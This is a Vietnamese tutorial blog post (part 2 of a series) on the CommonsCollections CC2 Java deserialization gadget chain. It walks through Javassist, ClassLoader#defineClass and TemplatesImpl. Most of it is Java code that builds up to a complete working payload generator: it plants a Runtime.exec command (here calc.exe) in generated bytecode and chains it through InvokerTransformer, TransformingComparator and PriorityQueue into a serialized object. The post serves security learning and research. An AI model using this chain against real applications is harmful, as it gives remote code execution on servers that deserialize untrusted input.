# Commons-Collections[Phần 2]
Bài viết này sẽ về chain CC2.
Yêu cầu: CommonsCollections4, Javasist:
```xml!
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
</dependency>
```
Trước khi đi vào phân tích chain này, ta sẽ đi qua một số concept gồm javasist, ClassLoader#defineClass, TemplatesImpl.
### Javasist(Java Programming Assistant):
Thông thường ta sẽ compile .java thành .class để chạy file java. Ta sẽ sử dụng javac để compila bằng command line, và sử dụng bytecode (.class) được generate bởi compilaion để chạy trên JVM. Mỗi file .class này chứa java class và interface
Javasist là một thư viện để xử lý bytecode, có thể chỉnh sửa bytecode của file class.
##### Các method thường được dùng:
ClassPool là một container của CtClass objects, từ đó có thể lấy được CtClass, bằng cách gọi đến `ClassPool.getDefault()`.

Nó sẽ trả về default class pool.
Default class pool tìm những system search path, thường bao gồm các platform library và extension library. Search path được định nghĩa bằng -classpath option của command javac, hoặc biến môi trường CLASSPATH.
> Classpath là một tham số trong JVM hoặc Java Compiler. chỉ định vị trí của class và package do người dùng xác định. Tham số này có thể được đặt trong commandline hoặc qua environment variable
```java
ClassPool pool = ClassPool.getDefault();
```
Tạo một class Evil:
```java
CtClass test = pool.makeClass("Evil");
```
Add class search path sử dụng ClassPool.getDefault(); nhưng trong trường hợp chương trình chạy trên Tomcat hoặc JBoss, class của user có thể không được tìm thấy.
Trong trường hợp này ta cần phải add path bằng cách sau:
```java
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
```
Gắn class được kế thừa:
```java
test.setSuperclass(pool.get(AbstractTranslet.class.getName()));
```
Tạo một static constructor:
```java
CtConstructor constructor = test.makeClassInitializer();
```
Insert bytecode at the beginning
```java
constructor.insertBefore("System.out.println(\"Hello,Javasist\");");
```
Demo:
```java
package com.vanir;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;
import java.lang.reflect.Method;
public class test2 {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault(); // Get default class pool.
CtClass test = pool.makeClass("Evil"); // create Evil.class file
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); //select classpath
test.setSuperclass(pool.get(AbstractTranslet.class.getName())); // select parent class
CtConstructor constructor = test.makeClassInitializer();//Create empty constructor
String cmd = "System.out.println(\"Hello,Javasist\");";
constructor.insertBefore(cmd);//Insert Bytecode before constructor.
test.writeFile("./");//write data to .class file
}
}
```
Khi chạy file trên sẽ tạo ra một file Evil.class sau ở classpath:

### ClassLoader#defineClass:
ClassLoader::defineClass có thể dùng để chạy một class từ mảng byte:

Vì nó là protected do đó ta phải dùng reflect api để gọi đến nó:
```java
Class getClass = Class.forName("java.lang.ClassLoader");//get Classloader
Method getMethod = getClass.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);//get method
getMethod.setAccessible(true);//access private method
getMethod.invoke(ClassLoader.getSystemClassLoader(),"Evil",bytes,0,bytes.length);
```
Demo:
```java
package com.vanir;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;
import java.lang.reflect.Method;
public class TestClassLoader {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault(); // Get default class pool.
CtClass test = pool.makeClass("Evil"); // create Evil.class file
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); //select classpath
test.setSuperclass(pool.get(AbstractTranslet.class.getName())); // select parent class
CtConstructor constructor = test.makeClassInitializer();//Create empty constructor
String cmd = "System.out.println(\"Hello,Javasist\");";
constructor.insertBefore(cmd);//Insert Bytecode before constructor.
test.writeFile("./");//write data to .class file
byte[] bytes = test.toBytecode();
Class getClass = Class.forName("java.lang.ClassLoader");//get Classloader
Method getMethod = getClass.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);//get method
getMethod.setAccessible(true);//access private method
getMethod.invoke(ClassLoader.getSystemClassLoader(),"Evil",bytes,0,bytes.length);
}
}
```
Tưởng là nó sẽ chạy thành công, nhưng không có gì xảy ra.
Vì class được tạo bởi ClassLoader#defineClass không được khởi tạo. Do đó ta cần phải tạo 1 instance của nó.
```java
Class getClass = Class.forName("java.lang.ClassLoader");//get Classloader
Method getMethod = getClass.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);//get method
getMethod.setAccessible(true);//access private method
Class invoker = (Class) getMethod.invoke(ClassLoader.getSystemClassLoader(),"Evil",bytes,0,bytes.length);
invoker.newInstance();
```
Khi chạy file trên, class được tạo bởi Javassist sẽ được chạy.

### TemplatesImpl:
full path: `import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;`
Lướt một chút là ta sẽ thấy một class `TransletClassLoader` như sau:

Trong đó có một method `defineClass()` đã được ta phân tích ở trên.
Để gọi đến defineClass() ta có thể làm như sau:
```
new TransletClassLoader(blabla.class.getClassLoader()).defineClass(bytes)
```
Dùng `Ctrl+F` để tìm chỗ trigger method này đó là `method defineTransletClasses()`
Trace ngược lại ta được một chain như sau:
```
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TransletClassLoader.defineClass()
```
#### TemplatesImpl.defineTransletClasses()

Đây là nơi trigger defineClass() method, đầu tiên nó sẽ tạo ra một Object của TransletClassLoader(). Sau đó gọi đến defineClass ở dòng 367.
> Ban đầu mình có thắc mắc tại sao nó lại dùng vòng lặp for với input của defineClass() là _bytecode[i], nhưng sau khi debug lại thì mình mới thấy là nó là một mảng 2 chiều :(
> 

Và đây là một private field của class TemplatesImpl.
#### TemplatesImpl.getTransletInstance
Để gọi đến `TemplatesImpl.defineTransletClasses()` thì ta có thể tìm thấy một số method trong TemplatesTmpl. Nhưng `getTransletInstance` là thứ ta cần chú ý:

Dòng 408 có gọi đến newInstance() --> Nó sẽ match với cái defineClass() ta vừa phân tích ở trên. Từ đó có thể load được byte code của ta và thực thi JavaCode.
Ở đây cần 1 điều kiện là field `_name` phải khác null và `_class` bằng null mới có thể dẫn đến chõ `newInstance()` được, ta có thể dùng Reflect API để set value cho chúng, nhưng tạm thời cứ biết là vậy, mình sẽ demo code ở dưới.
#### TemplatesImpl.newTransformer:
Đây là điểm trigger `TemplatesImpl.getTransletInstance()`.

Nó sẽ tạo ra một object của TransformerImpl.
Như vậy cơ bản là mọi thứ về TemplatesImpl đã match với nhau.
Bây giờ ta sẽ vận dụng những gì vừa tìm hiểu được để viết chain load bytecode tạo bởi javassist.
Generate Bytecode:
```java
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass EvilClass = pool.makeClass("Evil");
EvilClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
String cmd = "System.out.println(\"Templates Test\");";
CtConstructor constructor = EvilClass.makeClassInitializer();
constructor.insertBefore(cmd);
EvilClass.writeFile("./");
byte[] bytes = EvilClass.toBytecode();
```
Tạo instance của TemplatesImpl:
```java
TemplatesImpl template = new TemplatesImpl();
```
Set Field `_name` thành khác null bằng cách dùng Reflect API:
```java
Class temp = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Field _name = temp.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(template,"11111");
```
Set Field `_class` thành null dùng Reflect API:
```java
Field _class = temp.getDeclaredField("_class");
_class.setAccessible(true);
_class.set(template,null);
```
Set field _bytecodes thành bytecode generate bởi javassist
```java
Field _bytecodes = temp.getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
_bytecodes.set(template,new byte[][]{bytes});
```
Code:
```java
package com.vanir;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import java.lang.reflect.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
public class TestClassLoader {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass EvilClass = pool.makeClass("Evil");
EvilClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
String cmd = "System.out.println(\"aaaaaaaaaaaaaaa\");";
CtConstructor constructor = EvilClass.makeClassInitializer();
constructor.insertBefore(cmd);
EvilClass.writeFile("./");
byte[] bytes = EvilClass.toBytecode();
TemplatesImpl template = new TemplatesImpl();
Class temp = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Field _name = temp.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(template,"11111");
Field _bytecodes = temp.getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
_bytecodes.set(template,new byte[][]{bytes});
template.newTransformer();
}
}
```
Có vẻ hợp lý nhưng khi chạy lên lại bị lỗi như sau:

Ta có thể dễ dàng trace được là set thiếu 1 field là `_tfactory`. Nó sẽ gây lỗi chỗ `TemplatesImpl.defineTransletClasses()`.

Dùng reflect api để set:
```java
Field _tfactory = temp.getDeclaredField("_tfactory");
_tfactory.setAccessible(true);
_tfactory.set(template,new TransformerFactoryImpl());
```
Full Code:
```java
package com.vanir;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import java.lang.reflect.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
public class TestClassLoader {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass EvilClass = pool.makeClass("Evil");
EvilClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
String cmd = "System.out.println(\"aaaaaaaaaaaaaaa\");";
CtConstructor constructor = EvilClass.makeClassInitializer();
constructor.insertBefore(cmd);
EvilClass.writeFile("./");
byte[] bytes = EvilClass.toBytecode();
TemplatesImpl template = new TemplatesImpl();
Class temp = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Field _name = temp.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(template,"11111");
Field _class = temp.getDeclaredField("_class");
_class.setAccessible(true);
_class.set(template,null);
Field _bytecodes = temp.getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
_bytecodes.set(template,new byte[][]{bytes});
Field _tfactory = temp.getDeclaredField("_tfactory");
_tfactory.setAccessible(true);
_tfactory.set(template,new TransformerFactoryImpl());
template.newTransformer();
}
}
```
Ok vậy là đã xong. Bây giờ ta sẽ đi vào phân tích chain CC2
## CC2
Full chain này sẽ trông như sau:
```
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TransletClassLoader.defineClass()
newInstance()
Runtime.getRuntime().exec("calc.exe")
```
Ta đã vừa phân tích xong đoạn này:

Bây giờ sẽ đi phân tích phần còn lại:
#### InvokeTransformer.transform()
Như ta đã biết ở chain CC1, method transform này có thể được dùng để thực thi command. Ta hãy xem lại method transform() này:

Nó sẽ thực thi method this.iMethodName của Object input. Ta đang muốn nó thực thi method newTransformer() của object template lúc nãy, nên ta sẽ gọi như sau:
```java
InvokerTransformer testExec = new InvokerTransformer("newTransformer",new Class[]{}, new Object[]{});
testExec.transform(template);
```
#### TransformingComparator.compare()
Đây là điểm trigger `InvokeTransformer.transform()`:

Nó sẽ gọi đến method transform() của this.transformer với tham số là obj1 và obj2
Và this.transformer này có thể được control bởi constructor sau:

Vậy ta có thể trigger `InvokeTransformer.transform()` như sau:
```java
TransformingComparator aaa = new TransformingComparator(testExec);
aaa.compare(template, 1);
```
Tiếp theo ta cần tìm điểm trigger cái TransformingComparator.compare() này.
#### PriorityQueue.siftDownUsingComparator()

Ta thấy nó gọi method compare của object comparator 2 lần. Và lần 2 có vẻ khả thi hơn. Nếu ta control được tham số x và field comparator.
comparator thì có thể được control bằng constructor của class PriorityQuene.

Còn x có control được không thì ta cần phải trace ngược lên trên.
Ctrl+F ta có thể thấy cosiftDownUsingComparator() có thể được gọi bằng method siftDown():
#### PriorityQueue.siftDown()

Ta phải bằng cách nào đó control được cái x này.
Tiếp tục Ctrl+F để tìm nơi gọi siftDown() ta được method heapify():
#### PriorityQueue.heapify():

Method này được gọi mà không có tham số, Đại khái nó sẽ loop qua cái array `quene` và thực thi method siftDown() với 2 tham số là i và `queue[i]`. Vậy mục tiêu của ta là phải control được các phần tử trong array này.
Ctrl+F source code ta có thể tìm thấy 1 public method là add():

Nó gọi đến offer từ đó gọi gọi gì gì đó, nhưng ta có thể đọc desription để hiểu là nó add phần tử vào mảng queue.
Và tiếp tục Ctrl+F ta thấy method này được trigger bởi PriorityQueue.readObject(), chính là source của ta.

Có vẻ khá là logic, đoạn code bây giờ sẽ là:
```java
package com.vanir;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import java.lang.reflect.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.util.PriorityQueue;
public class TestClassLoader {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass EvilClass = pool.makeClass("Evil");
EvilClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
String cmd = "Runtime.getRuntime().exec(\"calc.exe\");";
CtConstructor constructor = EvilClass.makeClassInitializer();
constructor.insertBefore(cmd);
EvilClass.writeFile("./");
byte[] bytes = EvilClass.toBytecode();
TemplatesImpl template = new TemplatesImpl();
Class temp = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Field _name = temp.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(template,"11111");
Field _class = temp.getDeclaredField("_class");
_class.setAccessible(true);
_class.set(template,null);
Field _bytecodes = temp.getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
_bytecodes.set(template,new byte[][]{bytes});
Field _tfactory = temp.getDeclaredField("_tfactory");
_tfactory.setAccessible(true);
_tfactory.set(template,new TransformerFactoryImpl());
InvokerTransformer testExec = new InvokerTransformer("newTransformer",new Class[]{}, new Object[]{});
TransformingComparator aaa = new TransformingComparator(testExec);
PriorityQueue queue = new PriorityQueue(100, aaa);
queue.add(template);
Serialize.saveObject(queue);
}
}
```
Sau khi thử deserilize payload vừa tạo thì lại không bắt được gì. Debug thì thấy do mảng được tạo ra chỉ có 1 phần tử nên không thể nào trigger method siftDown() chỗ này được.

Nãy mình vội quá không phân tích kĩ chỗ này. Nó sử dụng toán tử sau: https://docs.oracle.com/javase/tutorial/java/nutsandbolts/op3.html
`int i (size >>> 1) - 1`, mình không tìm hiểu kĩ lắm, chỉ cần size là 2 trở lên là ok. Với size = 2 thì (size >>> 1) sẽ bằng 1. và i sẽ là 0. Và quene[0] là mấu chốt, nó phải là object template.
Vậy ta phải add 2 phần tử vào mảng quene. Và phần tử đầu tiên chắc chắn phải là template.
```java
PriorityQueue queue = new PriorityQueue(100, aaa);
queue.add(template);
queue.add(template);
```
Tưởng là sẽ thành công, nhưng nó lại bị chạy calc luôn sau đó exit chương trình mà không gọi tới method saveObject().
Debug từng chỗ thì thấy nó sẽ gọi đến method siftUp() ở method offset().Và điều này không thể tránh khỏi vì comparator của ta chắc chắc khác null:

Flow này như sau:
```
PriorityQueue.add()
PriorityQueue.offset()
PriorityQueue.siftUp()
PriorityQueue.siftUpUsingComparator()
```
Method `siftUpUsingComparator()` giống hệt method `siftDownUsingComparator()`. Do đó nó sẽ trigger đoạn sau của chain và calc sẽ popup.
Nhưng ta sẽ không muốn gọi đến calc chỗ này. Ta chỉ muốn trigger `siftDownUsingComparator()`, do đó ta có thể để `siftUpUsingComparator()` dẫn đến invoke một method khác sau đó dùng reflect api để set field `iMethodName()` của `TransformingComparator`
```java
InvokerTransformer testExec = new InvokerTransformer("toString",new Class[]{}, new Object[]{});
TransformingComparator aaa = new TransformingComparator(testExec);
PriorityQueue queue = new PriorityQueue(100, aaa);
queue.add(template);
queue.add(template);
Class temp2 = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer");
Field _name2 = temp2.getDeclaredField("iMethodName");
_name2.setAccessible(true);
_name2.set(testExec,"newTransformer");
```
Ta sẽ cho nó trigger invoke method toString() trước, vì mọi object đều có method này và nó sẽ không gây ra lỗi gì ngoài ý muốn.
Full code:
```java
package com.vanir;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import java.lang.reflect.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.util.PriorityQueue;
public class TestClassLoader {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass EvilClass = pool.makeClass("Evil");
EvilClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
String cmd = "Runtime.getRuntime().exec(\"calc.exe\");";
CtConstructor constructor = EvilClass.makeClassInitializer();
constructor.insertBefore(cmd);
EvilClass.writeFile("./");
byte[] bytes = EvilClass.toBytecode();
TemplatesImpl template = new TemplatesImpl();
Class temp = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Field _name = temp.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(template,"11111");
Field _class = temp.getDeclaredField("_class");
_class.setAccessible(true);
_class.set(template,null);
Field _bytecodes = temp.getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
_bytecodes.set(template,new byte[][]{bytes});
Field _tfactory = temp.getDeclaredField("_tfactory");
_tfactory.setAccessible(true);
_tfactory.set(template,new TransformerFactoryImpl());
InvokerTransformer testExec = new InvokerTransformer("toString",new Class[]{}, new Object[]{});
TransformingComparator aaa = new TransformingComparator(testExec);
PriorityQueue queue = new PriorityQueue(100, aaa);
queue.add(template);
queue.add(template);
Class temp2 = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer");
Field _name2 = temp2.getDeclaredField("iMethodName");
_name2.setAccessible(true);
_name2.set(testExec,"newTransformer");
Serialize.saveObject(queue);
}
}
```
Kết luận: Mình cảm thấy não đang thông minh hơn 1 xíu!!!